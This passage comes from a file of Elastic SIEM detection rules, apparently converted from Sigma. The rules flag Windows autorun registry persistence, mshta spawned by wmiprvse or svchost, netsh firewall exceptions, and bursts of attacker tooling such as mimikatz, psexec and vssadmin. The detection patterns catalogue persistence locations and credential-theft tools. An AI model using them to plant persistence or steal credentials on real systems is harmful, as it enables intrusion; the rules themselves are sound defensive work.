*\\\\Software\\\\Microsoft\\\\Internet\\ Explorer*) AND winlog.event_data.TargetObject:(*\\\\Toolbar* OR *\\\\Extensions* OR *\\\\Explorer\\ Bars*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\") OR (winlog.event_data.TargetObject:(*\\\\Extensions\\\\\\{2670000A\\-7350\\-4f3c\\-8081\\-5663EE0C6C49\\}* OR *\\\\Extensions\\\\\\{31D09BA0\\-12F5\\-4CCE\\-BE8A\\-2923E76605DA\\}* OR *\\\\Extensions\\\\\\{789FE86F\\-6FC4\\-46A1\\-9849\\-EDE0DB0C95CA\\}* OR *\\\\Extensions\\\\\\{A95fe080\\-8f5d\\-11d2\\-a20b\\-00aa003c157a\\}*)) OR (winlog.event_data.TargetObject:(*\\\\Toolbar\\\\ShellBrowser\\\\ITBar7Layout OR *\\\\Toolbar\\\\ShowDiscussionButton OR *\\\\Toolbar\\\\Locked)))))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e7c4106e-df8e-9350-4114-3eb7d23981ad","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Office Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Office* OR *\\\\Software\\\\Microsoft\\\\Office*) AND winlog.event_data.TargetObject:(*\\\\Word\\\\Addins* OR *\\\\PowerPoint\\\\Addins* OR *\\\\Outlook\\\\Addins* OR *\\\\Onenote\\\\Addins* OR *\\\\Excel\\\\Addins* OR *\\\\Access\\\\Addins* OR *test\\\\Special\\\\Perf*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\") OR (winlog.event_data.TargetObject:(*\\\\Excel\\\\Addins\\\\AdHocReportingExcelClientLib.AdHocReportingExcelClientAddIn.1\\\\* OR *\\\\Excel\\\\Addins\\\\ExcelPlugInShell.PowerMapConnect\\\\* OR *\\\\Excel\\\\Addins\\\\NativeShim\\\\* OR *\\\\Excel\\\\Addins\\\\NativeShim.InquireConnector.1\\\\* OR *\\\\Excel\\\\Addins\\\\PowerPivotExcelClientAddIn.NativeEntry.1\\\\*)) OR (winlog.event_data.TargetObject:(*\\\\Outlook\\\\AddIns\\\\AccessAddin.DC\\\\* OR *\\\\Outlook\\\\AddIns\\\\ColleagueImport.ColleagueImportAddin\\\\* OR *\\\\Outlook\\\\AddIns\\\\EvernoteCC.EvernoteContactConnector\\\\* OR *\\\\Outlook\\\\AddIns\\\\EvernoteOLRD.Connect\\\\* OR *\\\\Outlook\\\\Addins\\\\Microsoft.VbaAddinForOutlook.1\\\\* OR *\\\\Outlook\\\\Addins\\\\OcOffice.OcForms\\\\* OR *\\\\Outlook\\\\Addins\\\\OscAddin.Connect\\\\* OR *\\\\Outlook\\\\Addins\\\\OutlookChangeNotifier.Connect\\\\* OR *\\\\Outlook\\\\Addins\\\\UCAddin.LyncAddin.1* OR *\\\\Outlook\\\\Addins\\\\UCAddin.UCAddin.1* OR *\\\\Outlook\\\\Addins\\\\UmOutlookAddin.FormRegionAddin\\\\*)))))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f5403e74-31a8-5462-bb3b-f440d0138aa1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Session Manager Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\System\\\\CurrentControlSet\\\\Control\\\\Session\\ Manager* AND winlog.event_data.TargetObject:(*\\\\SetupExecute* OR *\\\\S0InitialCommand* OR *\\\\KnownDlls* OR *\\\\Execute* OR *\\\\BootExecute* OR *\\\\AppCertDlls*)) AND (NOT (winlog.event_data.Details:\"\$Empty\$\")))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6cc6a843-fe6d-2f2c-effd-485cef0ab115","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"System Scripts Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\\Scripts* AND winlog.event_data.TargetObject:(*\\\\Startup* OR *\\\\Shutdown* OR *\\\\Logon* OR *\\\\Logoff*)) AND (NOT (winlog.event_data.Details:\"\$Empty\$\")))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5a10496e-4973-fc8a-cee0-2cecf9bf5f79","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"WinSock2 Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\System\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters* AND winlog.event_data.TargetObject:(*\\\\Protocol_Catalog9\\\\Catalog_Entries* OR *\\\\NameSpace_Catalog5\\\\Catalog_Entries*)) AND (NOT (winlog.event_data.Details:\"\$Empty\$\" OR process.executable:\"C\\:\\\\Windows\\\\System32\\\\MsiExec.exe\" OR process.executable:\"C\\:\\\\Windows\\\\syswow64\\\\MsiExec.exe\")))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"96c15a0a-07f3-e2cd-a409-445ec200d4ab","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Wow6432Node CurrentVersion Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion* AND winlog.event_data.TargetObject:(*\\\\ShellServiceObjectDelayLoad* OR *\\\\Run\\\\* OR *\\\\RunOnce\\\\* OR *\\\\Explorer\\\\ShellServiceObjects* OR *\\\\Explorer\\\\ShellIconOverlayIdentifiers* OR *\\\\Explorer\\\\ShellExecuteHooks* OR *\\\\Explorer\\\\SharedTaskScheduler* OR *\\\\Explorer\\\\Browser\\ Helper\\ Objects*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\") OR (process.executable:*C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\EdgeUpdate\\\\Install\\\\\\{* AND process.executable:*\\\\setup.exe*) OR (process.executable:\"C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\OfficeClickToRun.exe\" AND winlog.event_data.TargetObject:*\\\\Office\\\\ClickToRun\\\\REGISTRY\\\\MACHINE\\\\Software\\\\Wow6432Node\\\\*) OR (process.executable:(\"C\\:\\\\Program\\ Files\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\") AND winlog.event_data.TargetObject:*\\\\Explorer\\\\Browser\\ Helper\\ Objects\\\\\\{31D09BA0\\-12F5\\-4CCE\\-BE8A\\-2923E76605DA\\}\\\\*) OR (winlog.event_data.Details:*\\-A251\\-47B7\\-93E1\\-CDD82E34AF8B\\} OR winlog.event_data.Details:\"grpconv\\ \\-o\" OR winlog.event_data.Details:*C\\:\\\\Program\\ Files* AND winlog.event_data.Details:*\\\\Dropbox\\\\Client\\\\Dropbox.exe* AND winlog.event_data.Details:*\\ \\/systemstartup*) OR (winlog.event_data.TargetObject:*\\\\Explorer\\\\Browser\\ Helper\\ Objects\\\\\\{92EF2EAD\\-A7CE\\-4424\\-B0DB\\-499CF856608E\\}\\\\NoExplorer) OR (process.executable:*\\\\windowsdesktop\\-runtime\\-* AND winlog.event_data.TargetObject:(*\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\\\{e2d1ae32\\-dd1d\\-4ad7\\-a298\\-10e42e7840fc\\} OR *\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\\\{7037b699\\-7382\\-448c\\-89a7\\-4765961d2537\\}) AND winlog.event_data.Details:(\\\"C\\:\\\\ProgramData\\\\Package\\ Cache\\\\\\{7037b699\\-7382\\-448c\\-89a7\\-4765961d2537\\}\\\\windowsdesktop\\-runtime\\-* OR \\\"C\\:\\\\ProgramData\\\\Package\\ Cache\\\\\\{e2d1ae32\\-dd1d\\-4ad7\\-a298\\-10e42e7840fc\\}\\\\windowsdesktop\\-runtime\\-*) AND winlog.event_data.Details:*.exe\\\"\\ \\/burn.runonce))))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8d273e6c-77d7-b708-2466-761946375293","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Wow6432Node Classes Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Software\\\\Wow6432Node\\\\Classes* AND winlog.event_data.TargetObject:(*\\\\Folder\\\\ShellEx\\\\ExtShellFolderViews* OR *\\\\Folder\\\\ShellEx\\\\DragDropHandlers* OR *\\\\Folder\\\\ShellEx\\\\ColumnHandlers* OR *\\\\Directory\\\\Shellex\\\\DragDropHandlers* OR *\\\\Directory\\\\Shellex\\\\CopyHookHandlers* OR *\\\\CLSID\\\\\\{AC757296\\-3522\\-4E11\\-9862\\-C17BE5A1767E\\}\\\\Instance* OR *\\\\CLSID\\\\\\{ABE3B9A4\\-257D\\-4B97\\-BD1A\\-294AF496222E\\}\\\\Instance* OR *\\\\CLSID\\\\\\{7ED96837\\-96F0\\-4812\\-B211\\-F13C24117ED3\\}\\\\Instance* OR *\\\\CLSID\\\\\\{083863F1\\-70DE\\-11d0\\-BD40\\-00A0C911CE86\\}\\\\Instance* OR *\\\\AllFileSystemObjects\\\\ShellEx\\\\DragDropHandlers* OR *\\\\ShellEx\\\\PropertySheetHandlers* OR *\\\\ShellEx\\\\ContextMenuHandlers*)) AND (NOT (winlog.event_data.Details:\"\$Empty\$\")))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"96c15a0a-07f3-e2cd-a409-445ec200d4ab","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Wow6432Node CurrentVersion Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion* AND winlog.event_data.TargetObject:(*\\\\Windows\\\\Appinit_Dlls* OR *\\\\Image\\ File\\ Execution\\ Options* OR *\\\\Drivers32*)) AND (NOT (winlog.event_data.Details:(\"\$Empty\$\" OR \"\\\\REGISTRY\\\\MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Image\\ File\\ Execution\\ Options\"))))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton. License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4f527ad4-b70a-5053-9a09-6523c5d622f4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Autorun Keys Modification","query":"(((((((((((((winlog.event_data.TargetObject:(*\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\ CE\\ Services\\\\AutoStart* OR *\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Command\\ Processor\\\\Autorun* OR *\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Active\\ Setup\\\\Installed\\ Components* OR *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ CE\\ Services\\\\AutoStartOnDisconnect* OR *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ CE\\ Services\\\\AutoStartOnConnect* OR *\\\\SYSTEM\\\\Setup\\\\CmdLine* OR *\\\\Software\\\\Microsoft\\\\Ctf\\\\LangBarAddin* OR *\\\\Software\\\\Microsoft\\\\Command\\ Processor\\\\Autorun* OR *\\\\SOFTWARE\\\\Microsoft\\\\Active\\ Setup\\\\Installed\\ Components* OR *\\\\SOFTWARE\\\\Classes\\\\Protocols\\\\Handler* OR *\\\\SOFTWARE\\\\Classes\\\\Protocols\\\\Filter* OR *\\\\SOFTWARE\\\\Classes\\\\Htmlfile\\\\Shell\\\\Open\\\\Command\\\\\$Default\$* OR *\\\\Environment\\\\UserInitMprLogonScript* OR *\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\Control\\ Panel\\\\Desktop\\\\Scrnsave.exe* OR *\\\\Software\\\\Microsoft\\\\Internet\\ Explorer\\\\UrlSearchHooks* OR *\\\\SOFTWARE\\\\Microsoft\\\\Internet\\ Explorer\\\\Desktop\\\\Components* OR *\\\\Software\\\\Classes\\\\Clsid\\\\\\{AB8902B4\\-09CA\\-4bb6\\-B78D\\-A8F59079A8D5\\}\\\\Inprocserver32* OR *\\\\Control\\ Panel\\\\Desktop\\\\Scrnsave.exe*) OR (winlog.event_data.TargetObject:*\\\\System\\\\CurrentControlSet\\\\Control\\\\Session\\ Manager* AND winlog.event_data.TargetObject:(*\\\\SetupExecute* OR *\\\\S0InitialCommand* OR *\\\\KnownDlls* OR *\\\\Execute* OR *\\\\BootExecute* OR *\\\\AppCertDlls*))) OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion* AND winlog.event_data.TargetObject:(*\\\\ShellServiceObjectDelayLoad* OR *\\\\Run* OR *\\\\Policies\\\\System\\\\Shell* OR *\\\\Policies\\\\Explorer\\\\Run* OR *\\\\Group\\ Policy\\\\Scripts\\\\Startup* OR *\\\\Group\\ Policy\\\\Scripts\\\\Shutdown* OR *\\\\Group\\ Policy\\\\Scripts\\\\Logon* OR *\\\\Group\\ Policy\\\\Scripts\\\\Logoff* OR *\\\\Explorer\\\\ShellServiceObjects* OR *\\\\Explorer\\\\ShellIconOverlayIdentifiers* OR *\\\\Explorer\\\\ShellExecuteHooks* OR *\\\\Explorer\\\\SharedTaskScheduler* OR *\\\\Explorer\\\\Browser\\ Helper\\ Objects* OR *\\\\Authentication\\\\PLAP\\ Providers* OR *\\\\Authentication\\\\Credential\\ Providers* OR *\\\\Authentication\\\\Credential\\ Provider\\ Filters*))) OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion* AND winlog.event_data.TargetObject:(*\\\\Winlogon\\\\VmApplet* OR *\\\\Winlogon\\\\Userinit* OR *\\\\Winlogon\\\\Taskman* OR *\\\\Winlogon\\\\Shell* OR *\\\\Winlogon\\\\GpExtensions* OR *\\\\Winlogon\\\\AppSetup* OR *\\\\Winlogon\\\\AlternateShells\\\\AvailableShells* OR *\\\\Windows\\\\IconServiceLib* OR *\\\\Windows\\\\Appinit_Dlls* OR *\\\\Image\\ File\\ Execution\\ Options* OR *\\\\Font\\ Drivers* OR *\\\\Drivers32* OR *\\\\Windows\\\\Run* OR *\\\\Windows\\\\Load*))) OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion* AND winlog.event_data.TargetObject:(*\\\\ShellServiceObjectDelayLoad* OR *\\\\Run* OR *\\\\Explorer\\\\ShellServiceObjects* OR *\\\\Explorer\\\\ShellIconOverlayIdentifiers* OR *\\\\Explorer\\\\ShellExecuteHooks* OR *\\\\Explorer\\\\SharedTaskScheduler* OR *\\\\Explorer\\\\Browser\\ Helper\\ Objects*))) OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion* AND winlog.event_data.TargetObject:(*\\\\Windows\\\\Appinit_Dlls* OR *\\\\Image\\ File\\ Execution\\ Options* OR *\\\\Drivers32*))) OR ((winlog.event_data.TargetObject:*\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Office* OR winlog.event_data.TargetObject:*\\\\Software\\\\Microsoft\\\\Office*) AND winlog.event_data.TargetObject:(*\\\\Word\\\\Addins* OR *\\\\PowerPoint\\\\Addins* OR *\\\\Outlook\\\\Addins* OR *\\\\Onenote\\\\Addins* OR *\\\\Excel\\\\Addins* OR *\\\\Access\\\\Addins* OR *test\\\\Special\\\\Perf*))) OR ((winlog.event_data.TargetObject:*\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Internet\\ Explorer* OR winlog.event_data.TargetObject:*\\\\Software\\\\Microsoft\\\\Internet\\ Explorer*) AND winlog.event_data.TargetObject:(*\\\\Toolbar* OR *\\\\Extensions* OR *\\\\Explorer\\ Bars*))) OR (winlog.event_data.TargetObject:*\\\\Software\\\\Wow6432Node\\\\Classes* AND winlog.event_data.TargetObject:(*\\\\Folder\\\\ShellEx\\\\ExtShellFolderViews* OR *\\\\Folder\\\\ShellEx\\\\DragDropHandlers* OR *\\\\Folder\\\\ShellEx\\\\ColumnHandlers* OR *\\\\Directory\\\\Shellex\\\\DragDropHandlers* OR *\\\\Directory\\\\Shellex\\\\CopyHookHandlers* OR *\\\\CLSID\\\\\\{AC757296\\-3522\\-4E11\\-9862\\-C17BE5A1767E\\}\\\\Instance* OR *\\\\CLSID\\\\\\{ABE3B9A4\\-257D\\-4B97\\-BD1A\\-294AF496222E\\}\\\\Instance* OR *\\\\CLSID\\\\\\{7ED96837\\-96F0\\-4812\\-B211\\-F13C24117ED3\\}\\\\Instance* OR *\\\\CLSID\\\\\\{083863F1\\-70DE\\-11d0\\-BD40\\-00A0C911CE86\\}\\\\Instance* OR *\\\\AllFileSystemObjects\\\\ShellEx\\\\DragDropHandlers* OR *\\\\ShellEx\\\\PropertySheetHandlers* OR *\\\\ShellEx\\\\ContextMenuHandlers*))) OR (winlog.event_data.TargetObject:*\\\\Software\\\\Classes* AND winlog.event_data.TargetObject:(*\\\\Folder\\\\ShellEx\\\\ExtShellFolderViews* OR *\\\\Folder\\\\ShellEx\\\\DragDropHandlers* OR *\\\\Folder\\\\Shellex\\\\ColumnHandlers* OR *\\\\Filter* OR *\\\\Exefile\\\\Shell\\\\Open\\\\Command\\\\\$Default\$* OR *\\\\Directory\\\\Shellex\\\\DragDropHandlers* OR *\\\\Directory\\\\Shellex\\\\CopyHookHandlers* OR *\\\\CLSID\\\\\\{AC757296\\-3522\\-4E11\\-9862\\-C17BE5A1767E\\}\\\\Instance* OR *\\\\CLSID\\\\\\{ABE3B9A4\\-257D\\-4B97\\-BD1A\\-294AF496222E\\}\\\\Instance* OR *\\\\CLSID\\\\\\{7ED96837\\-96F0\\-4812\\-B211\\-F13C24117ED3\\}\\\\Instance* OR *\\\\CLSID\\\\\\{083863F1\\-70DE\\-11d0\\-BD40\\-00A0C911CE86\\}\\\\Instance* OR *\\\\Classes\\\\AllFileSystemObjects\\\\ShellEx\\\\DragDropHandlers* OR *\\\\.exe* OR *\\\\.cmd* OR *\\\\ShellEx\\\\PropertySheetHandlers* OR *\\\\ShellEx\\\\ContextMenuHandlers*))) OR (winlog.event_data.TargetObject:*\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\\Scripts* AND winlog.event_data.TargetObject:(*\\\\Startup* OR *\\\\Shutdown* OR *\\\\Logon* OR *\\\\Logoff*))) OR (winlog.event_data.TargetObject:*\\\\System\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters* AND winlog.event_data.TargetObject:(*\\\\Protocol_Catalog9\\\\Catalog_Entries* OR *\\\\NameSpace_Catalog5\\\\Catalog_Entries*))) OR (winlog.event_data.TargetObject:*\\\\SYSTEM\\\\CurrentControlSet\\\\Control* AND winlog.event_data.TargetObject:(*\\\\Terminal\\ Server\\\\WinStations\\\\RDP\\-Tcp\\\\InitialProgram* OR *\\\\Terminal\\ Server\\\\Wds\\\\rdpwd\\\\StartupPrograms* OR *\\\\SecurityProviders\\\\SecurityProviders* OR *\\\\SafeBoot\\\\AlternateShell* OR *\\\\Print\\\\Providers* OR *\\\\Print\\\\Monitors* OR *\\\\NetworkProvider\\\\Order* OR *\\\\Lsa\\\\Notification\\ Packages* OR *\\\\Lsa\\\\Authentication\\ Packages* OR *\\\\BootVerificationProgram\\\\ImagePath*))) AND (NOT (winlog.event_data.Details:\"\$Empty\$\" OR winlog.event_data.TargetObject:*\\\\NgcFirst\\\\ConsecutiveSwitchCount OR process.executable:\"C\\:\\\\WINDOWS\\\\System32\\\\svchost.exe\")))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects mshta loaded by wmiprvse as parent as used by TA505 malicious documents Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6e1743b0-c6ed-7756-881b-e11b23ccdc85","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"TA505 Dropper Load Pattern","query":"(process.executable:*\\\\mshta.exe AND process.parent.executable:*\\\\wmiprvse.exe)","meta":{"from":"1m"},"severity":"critical","tags":["T1106"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1106","name":"Native API","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects MSHTA.EXE spwaned by SVCHOST as seen in LethalHTA and described in report Author: Markus Neis. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ed5d72a6-f8f4-479d-ba79-02f6a80d7471","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"MSHTA Spwaned by SVCHOST","query":"(process.parent.executable:*\\\\svchost.exe AND process.executable:*\\\\mshta.exe)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects multiple suspicious process in a limited timeframe Author: juju4. License: ","enabled":false,"false_positives":["False positives depend on scripts and administrative tools used in the monitored environment"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"61ab5496-748e-4818-a92f-de78e20fe7f1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Quick Execution of a Series of Suspicious Commands","query":"process.command_line:(*arp.exe* OR *at.exe* OR *attrib.exe* OR *cscript.exe* OR *dsquery.exe* OR *hostname.exe* OR *ipconfig.exe* OR *mimikatz.exe* OR *nbtstat.exe* OR *net.exe* OR *netsh.exe* OR *nslookup.exe* OR *ping.exe* OR *quser.exe* OR *qwinsta.exe* OR *reg.exe* OR *runas.exe* OR *sc.exe* OR *schtasks.exe* OR *ssh.exe* OR *systeminfo.exe* OR *taskkill.exe* OR *telnet.exe* OR *tracert.exe* OR *wscript.exe* OR *xcopy.exe* OR *pscp.exe* OR *copy.exe* OR *robocopy.exe* OR *certutil.exe* OR *vssadmin.exe* OR *powershell.exe* OR *wevtutil.exe* OR *psexec.exe* OR *bcedit.exe* OR *wbadmin.exe* OR *icacls.exe* OR *diskpart.exe*)","meta":{"from":"1m"},"severity":"low","tags":["T1059"],"to":"now","type":"threshold","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"threshold":{"field":"MachineName","value":6},"references":[""]}
{"description":"Detects Netsh commands that allows a suspcious application location on Windows Firewall Author: Sander Wiebing, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a35f5a72-f347-4e36-8895-9869b0d5fc6d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Netsh Program Allowed with Suspcious Location","query":"((process.executable:*\\\\netsh.exe AND process.command_line:*firewall* AND process.command_line:*add* AND (process.command_line:*allowedprogram* OR (process.command_line:*advfirewall* AND process.command_line:*rule* AND process.command_line:*action\\=allow* AND process.command_line:*program\\=*))) AND (process.command_line:(*%TEMP%* OR *\\:\\\\RECYCLER\\\\* OR 